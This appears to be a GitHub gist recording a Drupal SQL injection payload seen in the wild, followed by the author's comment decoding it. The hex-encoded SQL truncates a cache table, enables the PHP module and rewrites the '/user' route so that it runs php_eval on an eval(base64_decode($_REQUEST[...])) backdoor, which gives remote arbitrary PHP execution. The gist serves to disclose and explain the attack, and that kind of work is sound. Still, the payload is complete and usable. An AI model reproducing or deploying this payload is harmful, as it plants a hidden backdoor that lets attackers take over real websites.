Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Enable PHP module for arbitrary PHP code execution at /user
TRUNCATE TABLE cache_bootstrap;UPDATE menu_router SET access_arguments=0x613a313a7b733a343a22636f6465223b733a36313a223c3f70687020406576616c28406261736536345f6465636f64652840245f524551554553545b383664393963613830633430393736615d29293b203f3e223b7d, access_callback=0x7068705f6576616c WHERE path=0x75736572;UPDATE system SET status = 1 WHERE name = 0x706870;INSERT INTO registry_file (filename,hash) VALUES (0x6d6f64756c65732f7068702f7068702e6d6f64756c65,0x30373132336531663438323335366334313566363834343037613362383732336531306232636262633062386663643632383263343964333763396331616263);#
@scor

This comment has been minimized.

Copy link
Owner Author

scor commented Oct 17, 2014

First seen at 23:38:23 UTC. This will enable the PHP module and update the '/user' menu_router access_callback to 'php_eval' and access_argument to

'a:1:{s:4:\"code\";s:61:\"<?php @eval(@base64_decode(@$_REQUEST[86d99ca80c40976a])); ?>\";}'

It will allow an attacker to execute any PHP code sent most likely via cookie or POST to avoid being logged.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.